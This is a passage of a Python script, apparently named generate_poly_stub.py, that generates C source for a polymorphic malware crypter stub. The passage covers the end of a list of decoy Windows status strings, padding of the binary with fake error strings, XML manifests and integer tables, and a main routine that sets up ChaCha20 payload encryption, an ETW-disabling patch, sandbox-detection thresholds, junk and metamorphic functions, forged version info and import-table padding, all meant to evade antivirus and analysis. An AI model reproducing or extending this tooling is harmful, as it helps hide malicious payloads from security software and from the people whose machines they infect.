|
|
"No antivirus software was detected.",
|
||
|
|
"Windows Security Center cannot perform an action.",
|
||
|
|
"Your computer is at risk. Windows Firewall is turned off.",
|
||
|
|
"WARNING: Internet communication is limited.",
|
||
|
|
"Please check your network settings.",
|
||
|
|
"Connecting to the service...",
|
||
|
|
"Verifying account information...",
|
||
|
|
"Looking for available updates...",
|
||
|
|
"Downloading updates...",
|
||
|
|
"Installing updates...",
|
||
|
|
"Checking for solutions to problems...",
|
||
|
|
"Preparing to configure Windows. Do not turn off your computer.",
|
||
|
|
"Please wait while Windows configures updates.",
|
||
|
|
"Success.",
|
||
|
|
"The message resource is present but the message is not found.",
|
||
|
|
"The message resource is present but the message was not formatted.",
|
||
|
|
"Manifest parsing error: The manifest file is missing.",
|
||
|
|
]
|
||
|
|
|
||
|
|
PADDING_XML_FRAGMENTS = [
|
||
|
|
'<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n <runtime>\n <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">\n <dependentAssembly>\n <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>\n <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0"/>\n </dependentAssembly>\n </assemblyBinding>\n </runtime>\n</configuration>',
|
||
|
|
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">\n <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\n <security>\n <requestedPrivileges>\n <requestedExecutionLevel level="asInvoker" uiAccess="false"/>\n </requestedPrivileges>\n </security>\n </trustInfo>\n</assembly>',
|
||
|
|
'<AppSettings>\n <add key="EnableDiagnostics" value="false"/>\n <add key="TraceLevel" value="Warning"/>\n <add key="MaxBufferSize" value="65536"/>\n <add key="ConnectionTimeout" value="30000"/>\n <add key="RetryCount" value="3"/>\n <add key="DefaultCulture" value="en-US"/>\n</AppSettings>',
|
||
|
|
'<PropertyGroup Condition="\'$(Configuration)|$(Platform)\'==\'Release|x64\'">\n <DebugType>pdbonly</DebugType>\n <Optimize>true</Optimize>\n <OutputPath>bin\\Release\\</OutputPath>\n <DefineConstants>TRACE;NDEBUG</DefineConstants>\n <ErrorReport>prompt</ErrorReport>\n <WarningLevel>4</WarningLevel>\n <Prefer32Bit>false</Prefer32Bit>\n</PropertyGroup>',
|
||
|
|
'<dependency>\n <dependentAssembly>\n <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls"\n version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"\n language="*"/>\n </dependentAssembly>\n</dependency>',
|
||
|
|
'<?xml version="1.0" encoding="utf-8"?>\n<configuration>\n <system.diagnostics>\n <sources>\n <source name="TraceSourceApp" switchName="sourceSwitch" switchType="System.Diagnostics.SourceSwitch">\n <listeners>\n <add name="console" type="System.Diagnostics.ConsoleTraceListener"/>\n <remove name="Default"/>\n </listeners>\n </source>\n </sources>\n <switches>\n <add name="sourceSwitch" value="Warning"/>\n </switches>\n </system.diagnostics>\n</configuration>',
|
||
|
|
]
|
||
|
|
|
||
|
|
|
||
|
|
def generate_padding_data(outdir, target_size_kb=None):
|
||
|
|
"""Generate stub_poly_padding.c + stub_poly_padding.h with realistic .rdata content."""
|
||
|
|
if target_size_kb is None:
|
||
|
|
target_size_kb = random.randint(150, 400)
|
||
|
|
|
||
|
|
target_bytes = target_size_kb * 1024
|
||
|
|
|
||
|
|
# Allocate budget: ~60% strings, ~20% integers, ~10% XML, ~10% misc
|
||
|
|
string_budget = int(target_bytes * 0.60)
|
||
|
|
int_budget = int(target_bytes * 0.20)
|
||
|
|
xml_budget = int(target_bytes * 0.10)
|
||
|
|
|
||
|
|
c_lines = []
|
||
|
|
c_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
c_lines.append("/* Realistic .rdata padding to normalize binary size */")
|
||
|
|
c_lines.append("#include <windows.h>")
|
||
|
|
c_lines.append("#include <stdint.h>")
|
||
|
|
c_lines.append("")
|
||
|
|
c_lines.append("volatile uint32_t g_padding_state = 0;")
|
||
|
|
c_lines.append("")
|
||
|
|
|
||
|
|
total_generated = 0
|
||
|
|
|
||
|
|
# --- String tables ---
|
||
|
|
c_lines.append("/* Windows error messages and diagnostic strings */")
|
||
|
|
str_array_count = 0
|
||
|
|
current_batch = []
|
||
|
|
current_batch_size = 0
|
||
|
|
|
||
|
|
# Shuffle and repeat pool to fill budget
|
||
|
|
pool = list(PADDING_STRINGS_POOL)
|
||
|
|
random.shuffle(pool)
|
||
|
|
pool_idx = 0
|
||
|
|
|
||
|
|
while total_generated < string_budget:
|
||
|
|
s = pool[pool_idx % len(pool)]
|
||
|
|
pool_idx += 1
|
||
|
|
# Add minor variation to prevent exact dedup
|
||
|
|
if pool_idx > len(pool):
|
||
|
|
s = s.rstrip('.') + random.choice(['.', '!', '...', ' '])
|
||
|
|
|
||
|
|
escaped = s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
|
||
|
|
entry_size = len(s) + 1 # +1 for null terminator
|
||
|
|
current_batch.append(f' "{escaped}"')
|
||
|
|
current_batch_size += entry_size
|
||
|
|
|
||
|
|
if current_batch_size >= 4096 or total_generated + current_batch_size >= string_budget:
|
||
|
|
c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
|
||
|
|
c_lines.append(",\n".join(current_batch))
|
||
|
|
c_lines.append("};")
|
||
|
|
c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
|
||
|
|
c_lines.append("")
|
||
|
|
total_generated += current_batch_size
|
||
|
|
str_array_count += 1
|
||
|
|
current_batch = []
|
||
|
|
current_batch_size = 0
|
||
|
|
|
||
|
|
if current_batch:
|
||
|
|
c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{")
|
||
|
|
c_lines.append(",\n".join(current_batch))
|
||
|
|
c_lines.append("};")
|
||
|
|
c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}")
|
||
|
|
c_lines.append("")
|
||
|
|
total_generated += current_batch_size
|
||
|
|
str_array_count += 1
|
||
|
|
|
||
|
|
# --- Integer tables (locale IDs, error codes, version constants) ---
|
||
|
|
c_lines.append("/* Locale IDs, error codes, and version constants */")
|
||
|
|
int_array_count = 0
|
||
|
|
while total_generated < string_budget + int_budget:
|
||
|
|
batch_size = random.randint(64, 256)
|
||
|
|
values = []
|
||
|
|
table_type = random.choice(["locale", "error", "version"])
|
||
|
|
for _ in range(batch_size):
|
||
|
|
if table_type == "locale":
|
||
|
|
values.append(f"0x{random.choice([0x0409, 0x0809, 0x0407, 0x040C, 0x0411, 0x0419, 0x0404, 0x0804, 0x0C09, 0x1009, 0x0416, 0x0816, 0x040A, 0x080A, 0x0410, 0x0413]):04X}u")
|
||
|
|
elif table_type == "error":
|
||
|
|
values.append(f"0x{random.randint(0, 0x3FFF):08X}u")
|
||
|
|
else:
|
||
|
|
major = random.choice([6, 10])
|
||
|
|
minor = random.randint(0, 3)
|
||
|
|
build = random.randint(7600, 26100)
|
||
|
|
values.append(f"0x{(major << 24 | minor << 16 | build):08X}u")
|
||
|
|
|
||
|
|
c_lines.append(f"__attribute__((used)) const uint32_t g_pad_inttbl_{int_array_count}[] = {{")
|
||
|
|
# Format 8 per line
|
||
|
|
for i in range(0, len(values), 8):
|
||
|
|
chunk = values[i:i+8]
|
||
|
|
c_lines.append(" " + ", ".join(chunk) + ",")
|
||
|
|
c_lines.append("};")
|
||
|
|
c_lines.append(f"#define G_PAD_INTTBL_{int_array_count}_COUNT {len(values)}")
|
||
|
|
c_lines.append("")
|
||
|
|
total_generated += batch_size * 4
|
||
|
|
int_array_count += 1
|
||
|
|
|
||
|
|
# --- XML fragments ---
|
||
|
|
c_lines.append("/* Configuration and manifest XML fragments */")
|
||
|
|
xml_selected = random.sample(PADDING_XML_FRAGMENTS, min(len(PADDING_XML_FRAGMENTS), 4))
|
||
|
|
for xi, xml in enumerate(xml_selected):
|
||
|
|
escaped = xml.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')
|
||
|
|
c_lines.append(f'__attribute__((used)) const char g_pad_xml_{xi}[] = "{escaped}";')
|
||
|
|
total_generated += len(xml)
|
||
|
|
c_lines.append("")
|
||
|
|
|
||
|
|
# --- Reference function to prevent linker stripping ---
|
||
|
|
c_lines.append("/* Touch function — prevents linker from stripping .rdata */")
|
||
|
|
c_lines.append("void padding_touch(void) {")
|
||
|
|
c_lines.append(" volatile uint32_t acc = 0;")
|
||
|
|
|
||
|
|
# Touch string tables
|
||
|
|
for i in range(str_array_count):
|
||
|
|
c_lines.append(f" for (int i = 0; i < G_PAD_STRTBL_{i}_COUNT && i < 2; i++)")
|
||
|
|
c_lines.append(f" acc += (uint32_t)(uintptr_t)g_pad_strtbl_{i}[i];")
|
||
|
|
|
||
|
|
# Touch int tables
|
||
|
|
for i in range(int_array_count):
|
||
|
|
c_lines.append(f" acc += g_pad_inttbl_{i}[0];")
|
||
|
|
|
||
|
|
# Touch XML
|
||
|
|
for xi in range(len(xml_selected)):
|
||
|
|
c_lines.append(f" acc += (uint32_t)g_pad_xml_{xi}[0];")
|
||
|
|
|
||
|
|
c_lines.append(" g_padding_state = acc;")
|
||
|
|
c_lines.append("}")
|
||
|
|
c_lines.append("")
|
||
|
|
|
||
|
|
# Write .c file
|
||
|
|
c_path = os.path.join(outdir, "stub_poly_padding.c")
|
||
|
|
with open(c_path, "w", newline="\n") as f:
|
||
|
|
f.write("\n".join(c_lines))
|
||
|
|
|
||
|
|
# Write .h file
|
||
|
|
h_lines = []
|
||
|
|
h_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
h_lines.append("#ifndef STUB_POLY_PADDING_H")
|
||
|
|
h_lines.append("#define STUB_POLY_PADDING_H")
|
||
|
|
h_lines.append("")
|
||
|
|
h_lines.append("void padding_touch(void);")
|
||
|
|
h_lines.append("")
|
||
|
|
h_lines.append("#endif /* STUB_POLY_PADDING_H */")
|
||
|
|
h_lines.append("")
|
||
|
|
|
||
|
|
h_path = os.path.join(outdir, "stub_poly_padding.h")
|
||
|
|
with open(h_path, "w", newline="\n") as f:
|
||
|
|
f.write("\n".join(h_lines))
|
||
|
|
|
||
|
|
return target_size_kb, c_path, h_path
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Main
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
def main():
|
||
|
|
parser = argparse.ArgumentParser(description="Polymorphic stub generator")
|
||
|
|
parser.add_argument("--outdir", required=True, help="Output directory for generated files")
|
||
|
|
parser.add_argument("--tools-dir", default=None,
|
||
|
|
help="Path to agent/tools/ (for icon). Default: script's directory")
|
||
|
|
args = parser.parse_args()
|
||
|
|
|
||
|
|
os.makedirs(args.outdir, exist_ok=True)
|
||
|
|
tools_dir = args.tools_dir or os.path.dirname(os.path.abspath(__file__))
|
||
|
|
|
||
|
|
# Pick a random algorithm
|
||
|
|
algo = pick_algorithm()
|
||
|
|
|
||
|
|
# Compute constants with collision detection
|
||
|
|
constants = compute_constants(algo)
|
||
|
|
|
||
|
|
# Generate hash header
|
||
|
|
header = generate_hash_header(algo, constants)
|
||
|
|
header_path = os.path.join(args.outdir, "stub_poly_hash.h")
|
||
|
|
with open(header_path, "w", newline="\n") as f:
|
||
|
|
f.write(header)
|
||
|
|
|
||
|
|
# Generate junk functions (40-80 random count for .text bulk)
|
||
|
|
junk_count = random.randint(40, 80)
|
||
|
|
junk = generate_junk_functions(junk_count)
|
||
|
|
junk_path = os.path.join(args.outdir, "stub_poly_junk.c")
|
||
|
|
with open(junk_path, "w", newline="\n") as f:
|
||
|
|
f.write(junk)
|
||
|
|
|
||
|
|
# ── Generate per-build config (stub + crypter shared) ──
|
||
|
|
magic = random.randint(0x10000000, 0xFFFFFFF0)
|
||
|
|
cfg_section = _random_section_name() if random.random() < 0.10 else random.choice(CFG_SECTION_POOL)
|
||
|
|
pay_section = _random_section_name() if random.random() < 0.10 else random.choice(PAY_SECTION_POOL)
|
||
|
|
charset = generate_shuffled_charset()
|
||
|
|
chacha_init_lines = generate_chacha_init_code()
|
||
|
|
etw_patch, etw_size = generate_etw_patch_code()
|
||
|
|
|
||
|
|
# LCG parameters for entropy pad (must match between stub and crypter)
|
||
|
|
# Known-good full-period LCG multipliers (Knuth, Numerical Recipes, etc.)
|
||
|
|
lcg_mult_pool = [
|
||
|
|
0x41C64E6D, # Numerical Recipes
|
||
|
|
0x6C078965, # Mersenne-related
|
||
|
|
0x019660D, # MINSTD
|
||
|
|
0x5D588B65, # Turbo Pascal
|
||
|
|
0x0005DEEC, # Java (lower 32)
|
||
|
|
0x343FD, # MSVC
|
||
|
|
0x3C6EF35F, # GCC glibc (lower 32)
|
||
|
|
0x41A7, # Park-Miller
|
||
|
|
]
|
||
|
|
lcg_mult = random.choice(lcg_mult_pool)
|
||
|
|
lcg_inc = random.randrange(1, 0xFFFF, 2) # odd increment for full period
|
||
|
|
lcg_shift = random.choice([15, 16, 17])
|
||
|
|
|
||
|
|
# Sandbox thresholds with realistic randomization
|
||
|
|
sb_min_cpu = random.randint(2, 3)
|
||
|
|
sb_min_ram_gb = random.choice([2, 3, 4])
|
||
|
|
sb_min_disk_gb = random.choice([40, 50, 60, 80])
|
||
|
|
sb_sleep_ms = random.choice([300, 400, 500, 600, 700])
|
||
|
|
sb_sleep_min_ms = sb_sleep_ms - random.randint(30, 80)
|
||
|
|
sb_min_recent = random.randint(5, 15)
|
||
|
|
|
||
|
|
config_header = generate_stub_config_header(
|
||
|
|
magic, cfg_section, pay_section, charset,
|
||
|
|
chacha_init_lines, etw_patch, etw_size,
|
||
|
|
sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
|
||
|
|
sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
|
||
|
|
lcg_mult, lcg_inc, lcg_shift,
|
||
|
|
)
|
||
|
|
config_path = os.path.join(args.outdir, "stub_poly_config.h")
|
||
|
|
with open(config_path, "w", newline="\n") as f:
|
||
|
|
f.write(config_header)
|
||
|
|
|
||
|
|
# Generate metamorphic function header
|
||
|
|
meta_header, meta_unroll, meta_rotl = generate_metamorphic_header(
|
||
|
|
lcg_mult, lcg_inc, lcg_shift)
|
||
|
|
meta_path = os.path.join(args.outdir, "stub_poly_metamorphic.h")
|
||
|
|
with open(meta_path, "w", newline="\n") as f:
|
||
|
|
f.write(meta_header)
|
||
|
|
|
||
|
|
# Generate randomized VERSIONINFO resource
|
||
|
|
vi_identity, vi_version = generate_versioninfo(args.outdir, tools_dir)
|
||
|
|
|
||
|
|
# Generate IAT padding (12-20 benign API calls)
|
||
|
|
iat_count, iat_path = generate_iat_padding(args.outdir)
|
||
|
|
|
||
|
|
# Generate binary size padding (150-400KB .rdata content)
|
||
|
|
pad_size_kb, pad_c_path, pad_h_path = generate_padding_data(args.outdir)
|
||
|
|
|
||
|
|
print(f"Algorithm: {algo.name}")
|
||
|
|
print(f"Constants: {len(constants)} (no collisions)")
|
||
|
|
print(f"Junk functions: {junk_count}")
|
||
|
|
print(f"Config magic: 0x{magic:08X}")
|
||
|
|
print(f"Config section: {cfg_section}")
|
||
|
|
print(f"Payload section: {pay_section}")
|
||
|
|
print(f"Charset length: {len(charset)}")
|
||
|
|
print(f"ETW patch: {etw_size} bytes")
|
||
|
|
print(f"LCG: mult=0x{lcg_mult:08X}, inc=0x{lcg_inc:04X}, shift={lcg_shift}")
|
||
|
|
print(f"Sandbox: CPU>={sb_min_cpu}, RAM>={sb_min_ram_gb}GB, Disk>={sb_min_disk_gb}GB")
|
||
|
|
print(f"Metamorphic: ChaCha20 unroll={meta_unroll}, ROTL={meta_rotl}")
|
||
|
|
print(f"VersionInfo: {vi_identity} ({vi_version})")
|
||
|
|
print(f"IAT padding: {iat_count} API calls")
|
||
|
|
print(f"Binary padding: ~{pad_size_kb}KB .rdata content")
|
||
|
|
print(f"Output: {header_path}")
|
||
|
|
print(f"Output: {junk_path}")
|
||
|
|
print(f"Output: {config_path}")
|
||
|
|
print(f"Output: {meta_path}")
|
||
|
|
print(f"Output: {iat_path}")
|
||
|
|
print(f"Output: {pad_c_path}")
|
||
|
|
print(f"Output: {pad_h_path}")
|
||
|
|
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
main()
|